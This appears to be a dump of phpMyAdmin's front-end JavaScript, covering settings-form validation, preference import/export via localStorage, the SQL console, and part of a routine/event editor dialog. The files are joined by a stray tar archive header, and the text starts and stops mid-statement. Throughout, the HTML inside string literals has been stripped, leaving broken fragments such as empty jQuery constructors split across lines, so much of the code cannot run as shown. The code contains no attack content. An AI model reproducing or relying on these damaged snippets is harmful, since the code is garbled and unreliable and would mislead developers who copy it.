Messages.error_nan_nneg; }, /** * Validates port number * * @return {true|string} */ validatePortNumber: function () { if (this.value === '') { return true; } var result = validators.regExpNumeric.test(this.value) && this.value !== '0'; return result && this.value <= 65535 ? true : Messages.error_incorrect_port; }, /** * Validates value according to given regular expression * * @param {boolean} isKeyUp * @param {string} regexp * * @return {true|string} */ validateByRegex: function (isKeyUp, regexp) { if (isKeyUp && this.value === '') { return true; } // convert PCRE regexp var parts = regexp.match(validators.regExpPcreExtract); var valid = this.value.match(new RegExp(parts[2], parts[3])) !== null; return valid ? true : Messages.error_invalid_value; }, /** * Validates upper bound for numeric inputs * * @param {boolean} isKeyUp * @param {number} maxValue * * @return {true|string} */ validateUpperBound: function (isKeyUp, maxValue) { var val = parseInt(this.value, 10); if (isNaN(val)) { return true; } return val <= maxValue ? true : Functions.sprintf(Messages.error_value_lte, maxValue); }, // field validators field: {}, // fieldset validators fieldset: {} }; /** * Registers validator for given field * * @param {string} id field id * @param {string} type validator (key in validators object) * @param {boolean} onKeyUp whether fire on key up * @param {Array} params validation function parameters */ // eslint-disable-next-line no-unused-vars function registerFieldValidator(id, type, onKeyUp, params) { if (typeof validators[type] === 'undefined') { return; } if (typeof validate[id] === 'undefined') { validate[id] = []; } if (validate[id].length === 0) { validate[id].push([type, params, onKeyUp]); } } /** * Returns validation functions associated with form field * * @param {String} fieldId form field id * @param {boolean} onKeyUpOnly see registerFieldValidator * * @return {any[]} of [function, parameters to be passed to function] */ function getFieldValidators(fieldId, onKeyUpOnly) { // look for field bound validator var name = fieldId && fieldId.match(/[^-]+$/)[0]; if (typeof validators.field[name] !== 'undefined') { return [[validators.field[name], null]]; } // look for registered validators var functions = []; if (typeof validate[fieldId] !== 'undefined') { // validate[field_id]: array of [type, params, onKeyUp] for (var i = 0, imax = validate[fieldId].length; i < imax; i++) { if (onKeyUpOnly && !validate[fieldId][i][2]) { continue; } functions.push([validators[validate[fieldId][i][0]], validate[fieldId][i][1]]); } } return functions; } /** * Displays errors for given form fields * * WARNING: created DOM elements must be identical with the ones made by * PhpMyAdmin\Config\FormDisplayTemplate::displayInput()! * * @param {object} errorList list of errors in the form {field id: error array} */ function displayErrors(errorList) { var tempIsEmpty = function (item) { return item !== ''; }; for (var fieldId in errorList) { var errors = errorList[fieldId]; var $field = $('#' + fieldId); var isFieldset = $field.attr('tagName') === 'FIELDSET'; var $errorCnt; if (isFieldset) { $errorCnt = $field.find('dl.errors'); } else { $errorCnt = $field.siblings('.inline_errors'); } // remove empty errors (used to clear error list) errors = $.grep(errors, tempIsEmpty); // CSS error class if (!isFieldset) { // checkboxes uses parent for marking var $fieldMarker = $field.attr('type') === 'checkbox' ? $field.parent() : $field; $fieldMarker[errors.length ? 'addClass' : 'removeClass']('field-error'); } if (errors.length) { // if error container doesn't exist, create it if ($errorCnt.length === 0) { if (isFieldset) { $errorCnt = $('
'); $field.find('table').before($errorCnt); } else { $errorCnt = $('
'); $field.closest('td').append($errorCnt); } } var html = ''; for (var i = 0, imax = errors.length; i < imax; i++) { html += '
' + errors[i] + '
'; } $errorCnt.html(html); } else if ($errorCnt !== null) { // remove useless error container $errorCnt.remove(); } } } /** * Validates fields and fieldsets and call displayError function as required */ function setDisplayError() { var elements = $('.optbox input[id], .optbox select[id], .optbox textarea[id]'); // run all field validators var errors = {}; for (var i = 0; i < elements.length; i++) { validateField(elements[i], false, errors); } // run all fieldset validators $('fieldset.optbox').each(function () { validateFieldset(this, false, errors); }); displayErrors(errors); } /** * Validates fieldset and puts errors in 'errors' object * * @param {Element} fieldset * @param {boolean} isKeyUp * @param {object} errors */ function validateFieldset(fieldset, isKeyUp, errors) { var $fieldset = $(fieldset); if ($fieldset.length && typeof validators.fieldset[$fieldset.attr('id')] !== 'undefined') { var fieldsetErrors = validators.fieldset[$fieldset.attr('id')].apply($fieldset[0], [isKeyUp]); for (var fieldId in fieldsetErrors) { if (typeof errors[fieldId] === 'undefined') { errors[fieldId] = []; } if (typeof fieldsetErrors[fieldId] === 'string') { fieldsetErrors[fieldId] = [fieldsetErrors[fieldId]]; } $.merge(errors[fieldId], fieldsetErrors[fieldId]); } } } /** * Validates form field and puts errors in 'errors' object * * @param {Element} field * @param {boolean} isKeyUp * @param {object} errors */ function validateField(field, isKeyUp, errors) { var args; var result; var $field = $(field); var fieldId = $field.attr('id'); errors[fieldId] = []; var functions = getFieldValidators(fieldId, isKeyUp); for (var i = 0; i < functions.length; i++) { if (typeof functions[i][1] !== 'undefined' && functions[i][1] !== null) { args = functions[i][1].slice(0); } else { args = []; } args.unshift(isKeyUp); result = functions[i][0].apply($field[0], args); if (result !== true) { if (typeof result === 'string') { result = [result]; } $.merge(errors[fieldId], result); } } } /** * Validates form field and parent fieldset * * @param {Element} field * @param {boolean} isKeyUp */ function validateFieldAndFieldset(field, isKeyUp) { var $field = $(field); var errors = {}; validateField($field, isKeyUp, errors); validateFieldset($field.closest('fieldset.optbox'), isKeyUp, errors); displayErrors(errors); } function loadInlineConfig() { if (!Array.isArray(configInlineParams)) { return; } for (var i = 0; i < configInlineParams.length; ++i) { if (typeof configInlineParams[i] === 'function') { configInlineParams[i](); } } } function setupValidation() { validate = {}; configScriptLoaded = true; if (configScriptLoaded && typeof configInlineParams !== 'undefined') { loadInlineConfig(); } // register validators and mark custom values var $elements = $('.optbox input[id], .optbox select[id], .optbox textarea[id]'); $elements.each(function () { markField(this); var $el = $(this); $el.on('change', function () { validateFieldAndFieldset(this, false); markField(this); }); var tagName = $el.attr('tagName'); // text fields can be validated after each change if (tagName === 'INPUT' && $el.attr('type') === 'text') { $el.on('keyup', function () { validateFieldAndFieldset($el, true); markField($el); }); } // disable textarea spellcheck if (tagName === 'TEXTAREA') { $el.attr('spellcheck', false); } }); // check whether we've refreshed a page and browser remembered modified // form values var $checkPageRefresh = $('#check_page_refresh'); if ($checkPageRefresh.length === 0 || $checkPageRefresh.val() === '1') { // run all field validators var errors = {}; for (var i = 0; i < $elements.length; i++) { validateField($elements[i], false, errors); } // run all fieldset validators $('fieldset.optbox').each(function () { validateFieldset(this, false, errors); }); displayErrors(errors); } else if ($checkPageRefresh) { $checkPageRefresh.val('1'); } } AJAX.registerOnload('config.js', function () { setupValidation(); }); // // END: Form validation and field operations // ------------------------------------------------------------------ function adjustPrefsNotification() { var $prefsAutoLoad = $('#prefs_autoload'); var $tableNameControl = $('#table_name_col_no'); var $prefsAutoShowing = $prefsAutoLoad.css('display') !== 'none'; if ($prefsAutoShowing && $tableNameControl.length) { $tableNameControl.css('top', '55px'); } } AJAX.registerOnload('config.js', function () { adjustPrefsNotification(); }); // ------------------------------------------------------------------ // Form reset buttons // AJAX.registerOnload('config.js', function () { $('.optbox input[type=button][name=submit_reset]').on('click', function () { var fields = $(this).closest('fieldset').find('input, select, textarea'); for (var i = 0, imax = fields.length; i < imax; i++) { setFieldValue(fields[i], getFieldType(fields[i]), defaultValues[fields[i].id]); } setDisplayError(); }); }); // // END: Form reset buttons // ------------------------------------------------------------------ // ------------------------------------------------------------------ // "Restore default" and "set value" buttons // /** * Restores field's default value * * @param {string} fieldId * * @return {void} */ function restoreField(fieldId) { var $field = $('#' + fieldId); if ($field.length === 0 || defaultValues[fieldId] === undefined) { return; } setFieldValue($field, getFieldType($field), defaultValues[fieldId]); } function setupRestoreField() { $('div.tab-content').on('mouseenter', '.restore-default, .set-value', function () { $(this).css('opacity', 1); }).on('mouseleave', '.restore-default, .set-value', function () { $(this).css('opacity', 0.25); }).on('click', '.restore-default, .set-value', function (e) { e.preventDefault(); var href = $(this).attr('href'); var fieldSel; if ($(this).hasClass('restore-default')) { fieldSel = href; restoreField(fieldSel.substr(1)); } else { fieldSel = href.match(/^[^=]+/)[0]; var value = href.match(/=(.+)$/)[1]; setFieldValue($(fieldSel), 'text', value); } $(fieldSel).trigger('change'); }).find('.restore-default, .set-value') // inline-block for IE so opacity inheritance works .css({ display: 'inline-block', opacity: 0.25 }); } AJAX.registerOnload('config.js', function () { setupRestoreField(); }); // // END: "Restore default" and "set value" buttons // ------------------------------------------------------------------ // ------------------------------------------------------------------ // User preferences import/export // AJAX.registerOnload('config.js', function () { offerPrefsAutoimport(); var $radios = $('#import_local_storage, #export_local_storage'); if (!$radios.length) { return; } // enable JavaScript dependent fields $radios.prop('disabled', false).add('#export_text_file, #import_text_file').on('click', function () { var enableId = $(this).attr('id'); var disableId; if (enableId.match(/local_storage$/)) { disableId = enableId.replace(/local_storage$/, 'text_file'); } else { disableId = enableId.replace(/text_file$/, 'local_storage'); } $('#opts_' + disableId).addClass('disabled').find('input').prop('disabled', true); $('#opts_' + enableId).removeClass('disabled').find('input').prop('disabled', false); }); // detect localStorage state var lsSupported = isStorageSupported('localStorage', true); var lsExists = lsSupported ? window.localStorage.config || false : false; $('div.localStorage-' + (lsSupported ? 'un' : '') + 'supported').hide(); $('div.localStorage-' + (lsExists ? 'empty' : 'exists')).hide(); if (lsExists) { updatePrefsDate(); } $('form.prefs-form').on('change', function () { var $form = $(this); var disabled = false; if (!lsSupported) { disabled = $form.find('input[type=radio][value$=local_storage]').prop('checked'); } else if (!lsExists && $form.attr('name') === 'prefs_import' && $('#import_local_storage')[0].checked) { disabled = true; } $form.find('input[type=submit]').prop('disabled', disabled); }).on('submit', function (e) { var $form = $(this); if ($form.attr('name') === 'prefs_export' && $('#export_local_storage')[0].checked) { e.preventDefault(); // use AJAX to read JSON settings and save them savePrefsToLocalStorage($form); } else if ($form.attr('name') === 'prefs_import' && $('#import_local_storage')[0].checked) { // set 'json' input and submit form $form.find('input[name=json]').val(window.localStorage.config); } }); $(document).on('click', 'div.click-hide-message', function () { $(this).hide(); $(this).parent('.card-body').css('height', ''); $(this).parent('.card-body').find('.prefs-form').show(); }); }); /** * Saves user preferences to localStorage * * @param {Element} form */ function savePrefsToLocalStorage(form) { var $form = $(form); var submit = $form.find('input[type=submit]'); submit.prop('disabled', true); $.ajax({ url: 'index.php?route=/preferences/manage', cache: false, type: 'POST', data: { 'ajax_request': true, 'server': CommonParams.get('server'), 'submit_get_json': true }, success: function (data) { if (typeof data !== 'undefined' && data.success === true) { window.localStorage.config = data.prefs; window.localStorage.configMtime = data.mtime; window.localStorage.configMtimeLocal = new Date().toUTCString(); updatePrefsDate(); $('div.localStorage-empty').hide(); $('div.localStorage-exists').show(); var group = $form.parent('.card-body'); group.css('height', group.height() + 'px'); $form.hide('fast'); $form.prev('.click-hide-message').show('fast'); } else { Functions.ajaxShowMessage(data.error); } }, complete: function () { submit.prop('disabled', false); } }); } /** * Updates preferences timestamp in Import form */ function updatePrefsDate() { var d = new Date(window.localStorage.configMtimeLocal); var msg = Messages.strSavedOn.replace('@DATE@', Functions.formatDateTime(d)); $('#opts_import_local_storage').find('div.localStorage-exists').html(msg); } /** * Prepares message which informs that localStorage preferences are available and can be imported or deleted */ function offerPrefsAutoimport() { var hasConfig = isStorageSupported('localStorage') && (window.localStorage.config || false); var $cnt = $('#prefs_autoload'); if (!$cnt.length || !hasConfig) { return; } $cnt.find('a').on('click', function (e) { e.preventDefault(); var $a = $(this); if ($a.attr('href') === '#no') { $cnt.remove(); $.post('index.php', { 'server': CommonParams.get('server'), 'prefs_autoload': 'hide' }, null, 'html'); return; } else if ($a.attr('href') === '#delete') { $cnt.remove(); localStorage.clear(); $.post('index.php', { 'server': CommonParams.get('server'), 'prefs_autoload': 'hide' }, null, 'html'); return; } $cnt.find('input[name=json]').val(window.localStorage.config); $cnt.find('form').trigger('submit'); }); $cnt.show(); } /** * @type {boolean} Support for passive event listener option */ var PASSIVE_EVENT_LISTENERS = function () { var passive = false; try { var options = Object.defineProperty({}, 'passive', { get: function () { return passive = true; } }); window.addEventListener('_', null, options); window.removeEventListener('_', null, options); } catch (error) { // passive not supported } return passive; }();dist/console.js000066600000140614151724472050007530 0ustar00/** * Used in or for console * * @package phpMyAdmin-Console */ /* global debugSQLInfo */ // libraries/classes/Footer.php /** * Console object */ var Console = { /** * @var {JQuery}, jQuery object, selector is '#pma_console>.content' * @access private */ $consoleContent: null, /** * @var {Jquery}, jQuery object, selector is '#pma_console .content', * used for resizer * @access private */ $consoleAllContents: null, /** * @var {JQuery}, jQuery object, selector is '#pma_console .toolbar' * @access private */ $consoleToolbar: null, /** * @var {JQuery}, jQuery object, selector is '#pma_console .template' * @access private */ $consoleTemplates: null, /** * @var {JQuery}, jQuery object, form for submit * @access private */ $requestForm: null, /** * @var {object}, contain console config * @access private */ config: null, /** * @var {boolean}, if console element exist, it'll be true * @access public */ isEnabled: false, /** * @var {boolean}, make sure console events bind only once * @access private */ isInitialized: false, /** * Used for console initialize, reinit is ok, just some variable assignment * * @return {void} */ initialize: function () { if ($('#pma_console').length === 0) { return; } Functions.configGet('Console', false, data => { Console.config = data; Console.setupAfterInit(); }, () => { Console.config = {}; // Avoid null pointers in setupAfterInit() // Fetching data failed, still perform the console init Console.setupAfterInit(); }); }, /** * Setup the console after the config has been set at initialize stage */ setupAfterInit: function () { Console.isEnabled = true; // Vars init Console.$consoleToolbar = $('#pma_console').find('>.toolbar'); Console.$consoleContent = $('#pma_console').find('>.content'); Console.$consoleAllContents = $('#pma_console').find('.content'); Console.$consoleTemplates = $('#pma_console').find('>.templates'); // Generate a form for post Console.$requestForm = $('
' + '' + '' + '' + '' + '' + '' + '' + '
'); Console.$requestForm.children('[name=token]').val(CommonParams.get('token')); Console.$requestForm.on('submit', AJAX.requestHandler); // Event binds shouldn't run again if (Console.isInitialized === false) { // Load config first if (Console.config.AlwaysExpand === true) { $('#pma_console_options input[name=always_expand]').prop('checked', true); } if (Console.config.StartHistory === true) { $('#pma_console_options').find('input[name=start_history]').prop('checked', true); } if (Console.config.CurrentQuery === true) { $('#pma_console_options').find('input[name=current_query]').prop('checked', true); } if (Console.config.EnterExecutes === true) { $('#pma_console_options').find('input[name=enter_executes]').prop('checked', true); } if (Console.config.DarkTheme === true) { $('#pma_console_options').find('input[name=dark_theme]').prop('checked', true); $('#pma_console').find('>.content').addClass('console_dark_theme'); } ConsoleResizer.initialize(); ConsoleInput.initialize(); ConsoleMessages.initialize(); ConsoleBookmarks.initialize(); ConsoleDebug.initialize(); Console.$consoleToolbar.children('.console_switch').on('click', Console.toggle); $('#pma_console').find('.toolbar').children().on('mousedown', function (event) { event.preventDefault(); event.stopImmediatePropagation(); }); $('#pma_console').find('.button.clear').on('click', function () { ConsoleMessages.clear(); }); $('#pma_console').find('.button.history').on('click', function () { ConsoleMessages.showHistory(); }); $('#pma_console').find('.button.options').on('click', function () { Console.showCard('#pma_console_options'); }); $('#pma_console').find('.button.debug').on('click', function () { Console.showCard('#debug_console'); }); Console.$consoleContent.on('click', function (event) { if (event.target === this) { ConsoleInput.focus(); } }); $('#pma_console').find('.mid_layer').on('click', function () { Console.hideCard($(this).parent().children('.card')); }); $('#debug_console').find('.switch_button').on('click', function () { Console.hideCard($(this).closest('.card')); }); $('#pma_bookmarks').find('.switch_button').on('click', function () { Console.hideCard($(this).closest('.card')); }); $('#pma_console_options').find('.switch_button').on('click', function () { Console.hideCard($(this).closest('.card')); }); $('#pma_console_options').find('input[type=checkbox]').on('change', function () { Console.updateConfig(); }); $('#pma_console_options').find('.button.default').on('click', function () { $('#pma_console_options input[name=always_expand]').prop('checked', false); $('#pma_console_options').find('input[name=start_history]').prop('checked', false); $('#pma_console_options').find('input[name=current_query]').prop('checked', true); $('#pma_console_options').find('input[name=enter_executes]').prop('checked', false); $('#pma_console_options').find('input[name=dark_theme]').prop('checked', false); Console.updateConfig(); }); $('#pma_console_options').find('input[name=enter_executes]').on('change', function () { ConsoleMessages.showInstructions(Console.config.EnterExecutes); }); $(document).on('ajaxComplete', function (event, xhr, ajaxOptions) { // Not a json body, then skip if (ajaxOptions.dataType && ajaxOptions.dataType.indexOf('json') === -1) { return; } if (xhr.status !== 200) { return; } try { var data = JSON.parse(xhr.responseText); Console.ajaxCallback(data); } catch (e) { // eslint-disable-next-line no-console, compat/compat console.trace(); // eslint-disable-next-line no-console console.log('Failed to parse JSON: ' + e.message); } }); Console.isInitialized = true; } // Change console mode from cookie switch (Console.config.Mode) { case 'collapse': Console.collapse(); break; case 'info': Console.info(); break; case 'show': Console.show(true); Console.scrollBottom(); break; default: Console.setConfig('Mode', 'info'); Console.info(); } }, /** * Execute query and show results in console * * @param {string} queryString * @param {object} options * * @return {void} */ execute: function (queryString, options) { if (typeof queryString !== 'string' || !/[a-z]|[A-Z]/.test(queryString)) { return; } Console.$requestForm.children('textarea').val(queryString); Console.$requestForm.children('[name=server]').attr('value', CommonParams.get('server')); if (options && options.db) { Console.$requestForm.children('[name=db]').val(options.db); if (options.table) { Console.$requestForm.children('[name=table]').val(options.table); } else { Console.$requestForm.children('[name=table]').val(''); } } else { Console.$requestForm.children('[name=db]').val(CommonParams.get('db').length > 0 ? CommonParams.get('db') : ''); } Console.$requestForm.find('[name=profiling]').remove(); if (options && options.profiling === true) { Console.$requestForm.append(''); } if (!Functions.confirmQuery(Console.$requestForm[0], Console.$requestForm.children('textarea')[0].value)) { return; } Console.$requestForm.children('[name=console_message_id]').val(ConsoleMessages.appendQuery({ 'sql_query': queryString }).message_id); Console.$requestForm.trigger('submit'); ConsoleInput.clear(); Navigation.reload(); }, ajaxCallback: function (data) { if (data && data.console_message_id) { ConsoleMessages.updateQuery(data.console_message_id, data.success, data.reloadQuerywindow ? data.reloadQuerywindow : false); } else if (data && data.reloadQuerywindow) { if (data.reloadQuerywindow.sql_query.length > 0) { ConsoleMessages.appendQuery(data.reloadQuerywindow, 'successed').$message.addClass(Console.config.CurrentQuery ? '' : 'hide'); } } }, /** * Change console to collapse mode * * @return {void} */ collapse: function () { Console.setConfig('Mode', 'collapse'); var pmaConsoleHeight = Math.max(92, Console.config.Height); Console.$consoleToolbar.addClass('collapsed'); Console.$consoleAllContents.height(pmaConsoleHeight); Console.$consoleContent.stop(); Console.$consoleContent.animate({ 'margin-bottom': -1 * Console.$consoleContent.outerHeight() + 'px' }, 'fast', 'easeOutQuart', function () { Console.$consoleContent.css({ display: 'none' }); $(window).trigger('resize'); }); Console.hideCard(); }, /** * Show console * * @param {boolean} inputFocus If true, focus the input line after show() * @return {void} */ show: function (inputFocus) { Console.setConfig('Mode', 'show'); var pmaConsoleHeight = Math.max(92, Console.config.Height); // eslint-disable-next-line compat/compat pmaConsoleHeight = Math.min(Console.config.Height, (window.innerHeight || document.documentElement.clientHeight || document.body.clientHeight) - 25); Console.$consoleContent.css({ display: 'block' }); if (Console.$consoleToolbar.hasClass('collapsed')) { Console.$consoleToolbar.removeClass('collapsed'); } Console.$consoleAllContents.height(pmaConsoleHeight); Console.$consoleContent.stop(); Console.$consoleContent.animate({ 'margin-bottom': 0 }, 'fast', 'easeOutQuart', function () { $(window).trigger('resize'); if (inputFocus) { ConsoleInput.focus(); } }); }, /** * Change console to SQL information mode * this mode shows current SQL query * This mode is the default mode * * @return {void} */ info: function () { // Under construction Console.collapse(); }, /** * Toggle console mode between collapse/show * Used for toggle buttons and shortcuts * * @return {void} */ toggle: function () { switch (Console.config.Mode) { case 'collapse': case 'info': Console.show(true); break; case 'show': Console.collapse(); break; } }, /** * Scroll console to bottom * * @return {void} */ scrollBottom: function () { Console.$consoleContent.scrollTop(Console.$consoleContent.prop('scrollHeight')); }, /** * Show card * * @param {string | JQuery} cardSelector Selector, select string will be "#pma_console " + cardSelector * this param also can be JQuery object, if you need. * * @return {void} */ showCard: function (cardSelector) { var $card = null; if (typeof cardSelector !== 'string') { if (cardSelector.length > 0) { $card = cardSelector; } else { return; } } else { $card = $('#pma_console ' + cardSelector); } if ($card.length === 0) { return; } $card.parent().children('.mid_layer').show().fadeTo(0, 0.15); $card.addClass('show'); ConsoleInput.blur(); if ($card.parents('.card').length > 0) { Console.showCard($card.parents('.card')); } }, /** * Scroll console to bottom * * @param {object} $targetCard Target card JQuery object, if it's empty, function will hide all cards * @return {void} */ hideCard: function ($targetCard) { if (!$targetCard) { $('#pma_console').find('.mid_layer').fadeOut(140); $('#pma_console').find('.card').removeClass('show'); } else if ($targetCard.length > 0) { $targetCard.parent().find('.mid_layer').fadeOut(140); $targetCard.find('.card').removeClass('show'); $targetCard.removeClass('show'); } }, /** * Used for update console config * * @return {void} */ updateConfig: function () { Console.setConfig('AlwaysExpand', $('#pma_console_options input[name=always_expand]').prop('checked')); Console.setConfig('StartHistory', $('#pma_console_options').find('input[name=start_history]').prop('checked')); Console.setConfig('CurrentQuery', $('#pma_console_options').find('input[name=current_query]').prop('checked')); Console.setConfig('EnterExecutes', $('#pma_console_options').find('input[name=enter_executes]').prop('checked')); Console.setConfig('DarkTheme', $('#pma_console_options').find('input[name=dark_theme]').prop('checked')); /* Setting the dark theme of the console*/ if (Console.config.DarkTheme) { $('#pma_console').find('>.content').addClass('console_dark_theme'); } else { $('#pma_console').find('>.content').removeClass('console_dark_theme'); } }, setConfig: function (key, value) { Console.config[key] = value; Functions.configSet('Console/' + key, value); }, isSelect: function (queryString) { var regExp = /^SELECT\s+/i; return regExp.test(queryString); } }; /** * Resizer object * Careful: this object UI logics highly related with functions under Console * Resizing min-height is 32, if small than it, console will collapse */ var ConsoleResizer = { posY: 0, height: 0, resultHeight: 0, /** * Mousedown event handler for bind to resizer * * @param {MouseEvent} event * * @return {void} */ mouseDown: function (event) { if (Console.config.Mode !== 'show') { return; } ConsoleResizer.posY = event.pageY; ConsoleResizer.height = Console.$consoleContent.height(); $(document).on('mousemove', ConsoleResizer.mouseMove); $(document).on('mouseup', ConsoleResizer.mouseUp); // Disable text selection while resizing $(document).on('selectstart', function () { return false; }); }, /** * Mousemove event handler for bind to resizer * * @param {MouseEvent} event * * @return {void} */ mouseMove: function (event) { if (event.pageY < 35) { event.pageY = 35; } ConsoleResizer.resultHeight = ConsoleResizer.height + (ConsoleResizer.posY - event.pageY); // Content min-height is 32, if adjusting height small than it we'll move it out of the page if (ConsoleResizer.resultHeight <= 32) { Console.$consoleAllContents.height(32); Console.$consoleContent.css('margin-bottom', ConsoleResizer.resultHeight - 32); } else { // Logic below makes viewable area always at bottom when adjusting height and content already at bottom if (Console.$consoleContent.scrollTop() + Console.$consoleContent.innerHeight() + 16 >= Console.$consoleContent.prop('scrollHeight')) { Console.$consoleAllContents.height(ConsoleResizer.resultHeight); Console.scrollBottom(); } else { Console.$consoleAllContents.height(ConsoleResizer.resultHeight); } } }, /** * Mouseup event handler for bind to resizer * * @return {void} */ mouseUp: function () { Console.setConfig('Height', ConsoleResizer.resultHeight); Console.show(); $(document).off('mousemove'); $(document).off('mouseup'); $(document).off('selectstart'); }, /** * Used for console resizer initialize * * @return {void} */ initialize: function () { $('#pma_console').find('.toolbar').off('mousedown'); $('#pma_console').find('.toolbar').on('mousedown', ConsoleResizer.mouseDown); } }; /** * Console input object */ var ConsoleInput = { /** * @var array, contains Codemirror objects or input jQuery objects * @access private */ inputs: null, /** * @var {boolean}, if codemirror enabled * @access private */ codeMirror: false, /** * @var {number}, count for history navigation, 0 for current input * @access private */ historyCount: 0, /** * @var {string}, current input when navigating through history * @access private */ historyPreserveCurrent: null, /** * Used for console input initialize * * @return {void} */ initialize: function () { // _cm object can't be reinitialize if (ConsoleInput.inputs !== null) { return; } if (typeof CodeMirror !== 'undefined') { ConsoleInput.codeMirror = true; } ConsoleInput.inputs = []; if (ConsoleInput.codeMirror) { // eslint-disable-next-line new-cap ConsoleInput.inputs.console = CodeMirror($('#pma_console').find('.console_query_input')[0], { // style: cm-s-pma theme: 'pma', mode: 'text/x-sql', lineWrapping: true, extraKeys: { 'Ctrl-Space': 'autocomplete' }, hintOptions: { 'completeSingle': false, 'completeOnSingleClick': true }, gutters: ['CodeMirror-lint-markers'], lint: { 'getAnnotations': CodeMirror.sqlLint, 'async': true } }); ConsoleInput.inputs.console.on('inputRead', Functions.codeMirrorAutoCompleteOnInputRead); ConsoleInput.inputs.console.on('keydown', function (instance, event) { ConsoleInput.historyNavigate(event); }); if ($('#pma_bookmarks').length !== 0) { // eslint-disable-next-line new-cap ConsoleInput.inputs.bookmark = CodeMirror($('#pma_console').find('.bookmark_add_input')[0], { // style: cm-s-pma theme: 'pma', mode: 'text/x-sql', lineWrapping: true, extraKeys: { 'Ctrl-Space': 'autocomplete' }, hintOptions: { 'completeSingle': false, 'completeOnSingleClick': true }, gutters: ['CodeMirror-lint-markers'], lint: { 'getAnnotations': CodeMirror.sqlLint, 'async': true } }); ConsoleInput.inputs.bookmark.on('inputRead', Functions.codeMirrorAutoCompleteOnInputRead); } } else { ConsoleInput.inputs.console = $(''; var $ajaxDialog = $('
' + data.message + '
').dialog({ classes: { 'ui-dialog-titlebar-close': 'btn-close' }, width: 500, buttons: buttonOptions, title: data.title }); // Attach syntax highlighted editor to export dialog /** * @var $elm jQuery object containing the reference * to the Export textarea. */ var $elm = $ajaxDialog.find('textarea'); Functions.getSqlEditor($elm); } else { Functions.ajaxShowMessage(data.error, false); } } // end showExport() }, // end exportDialog() editorDialog: function (isNew, $this) { var that = this; /** * @var $edit_row jQuery object containing the reference to * the row of the the item being edited * from the list of items */ var $editRow = null; if ($this.hasClass('edit_anchor')) { // Remember the row of the item being edited for later, // so that if the edit is successful, we can replace the // row with info about the modified item. $editRow = $this.parents('tr'); } /** * @var $msg jQuery object containing the reference to * the AJAX message shown to the user */ var $msg = Functions.ajaxShowMessage(); $.get($this.attr('href'), { 'ajax_request': true }, function (data) { if (data.success === true) { // We have successfully fetched the editor form Functions.ajaxRemoveMessage($msg); /** * @var buttonOptions Object containing options * for jQueryUI dialog buttons */ var buttonOptions = { [Messages.strGo]: { text: Messages.strGo, class: 'btn btn-primary' }, [Messages.strClose]: { text: Messages.strClose, class: 'btn btn-secondary' } }; // Now define the function that is called when // the user presses the "Go" button buttonOptions[Messages.strGo].click = function () { // Move the data from the codemirror editor back to the // textarea, where it can be used in the form submission. if (typeof CodeMirror !== 'undefined') { that.syntaxHiglighter.save(); } // Validate editor and submit request, if passed. if (that.validate()) { /** * @var data Form data to be sent in the AJAX request */ var data = $('form.rte_form').last().serialize(); $msg = Functions.ajaxShowMessage(Messages.strProcessingRequest); var url = $('form.rte_form').last().attr('action'); $.post(url, data, function (data) { if (data.success === true) { // Item created successfully Functions.ajaxRemoveMessage($msg); Functions.slidingMessage(data.message); that.$ajaxDialog.dialog('close'); // If we are in 'edit' mode, we must // remove the reference to the old row. if (mode === 'edit' && $editRow !== null) { $editRow.remove(); } // Sometimes, like when moving a trigger from // a table to another one, the new row should // not be inserted into the list. In this case // "data.insert" will be set to false. if (data.insert) { // Insert the new row at the correct // location in the list of items /** * @var text Contains the name of an item from * the list that is used in comparisons * to find the correct location where * to insert a new row. */ var text = ''; /** * @var inserted Whether a new item has been * inserted in the list or not */ var inserted = false; $('table.data').find('tr').each(function () { text = $(this).children('td').eq(0).find('strong').text().toUpperCase().trim(); if (text !== '' && text > data.name) { $(this).before(data.new_row); inserted = true; return false; } }); if (!inserted) { // If we didn't manage to insert the row yet, // it must belong at the end of the list, // so we insert it there. $('table.data').append(data.new_row); } // Fade-in the new row $('tr.ajaxInsert').show('slow').removeClass('ajaxInsert'); } else if ($('table.data').find('tr').has('td').length === 0) { // If we are not supposed to insert the new row, // we will now check if the table is empty and // needs to be hidden. This will be the case if // we were editing the only item in the list, // which we removed and will not be inserting // something else in its place. $('table.data').hide('slow', function () { $('#nothing2display').show('slow'); }); } // Now we have inserted the row at the correct // position, but surely at least some row classes // are wrong now. So we will iterate through // all rows and assign correct classes to them /** * @var ct Count of processed rows */ var ct = 0; /** * @var rowclass Class to be attached to the row * that is being processed */ var rowclass = ''; $('table.data').find('tr').has('td').each(function () { rowclass = ct % 2 === 0 ? 'odd' : 'even'; $(this).removeClass().addClass(rowclass); ct++; }); // If this is the first item being added, remove // the "No items" message and show the list. if ($('table.data').find('tr').has('td').length > 0 && $('#nothing2display').is(':visible')) { $('#nothing2display').hide('slow', function () { $('table.data').show('slow'); }); } Navigation.reload(); } else { Functions.ajaxShowMessage(data.error, false); } }); // end $.post() } // end "if (that.validate())" }; // end of function that handles the submission of the Editor buttonOptions[Messages.strClose].click = function () { $(this).dialog('close'); }; /** * Display the dialog to the user */ that.$ajaxDialog = $('
' + data.message + '
').dialog({ classes: { 'ui-dialog-titlebar-close': 'btn-close' }, width: 700, minWidth: 500, buttons: buttonOptions, // Issue #15810 - use button titles for modals (eg: new procedure) // Respect the order: title on href tag, href content, title sent in response title: $this.attr('title') || $this.text() || $(data.title).text(), modal: true, open: function () { $('#rteDialog').dialog('option', 'max-height', $(window).height()); if ($('#rteDialog').parents('.ui-dialog').height() > $(window).height()) { $('#rteDialog').dialog('option', 'height', $(window).height()); } $(this).find('input[name=item_name]').trigger('focus'); $(this).find('input.datefield').each(function () { Functions.addDatepicker($(this).css('width', '95%'), 'date'); }); $(this).find('input.datetimefield').each(function () { Functions.addDatepicker($(this).css('width', '95%'), 'datetime'); }); $.datepicker.initialized = false; }, close: function () { $(this).remove(); } }); /** * @var mode Used to remember whether the editor is in * "Edit" or "Add" mode */ var mode = 'add'; if ($('input[name=editor_process_edit]').length > 0) { mode = 'edit'; } // Attach syntax highlighted editor to the definition /** * @var elm jQuery object containing the reference to * the Definition textarea. */ var $elm = $('textarea[name=item_definition]').last(); var linterOptions = {}; linterOptions.eventEditor = true; that.syntaxHiglighter = Functions.getSqlEditor($elm, {}, 'both', linterOptions); } else { Functions.ajaxShowMessage(data.error, false); } }); // end $.get() }, dropDialog: function ($this) { /** * @var $curr_row Object containing reference to the current row */ var $currRow = $this.parents('tr'); /** * @var question String containing the question to be asked for confirmation */ var question = $('
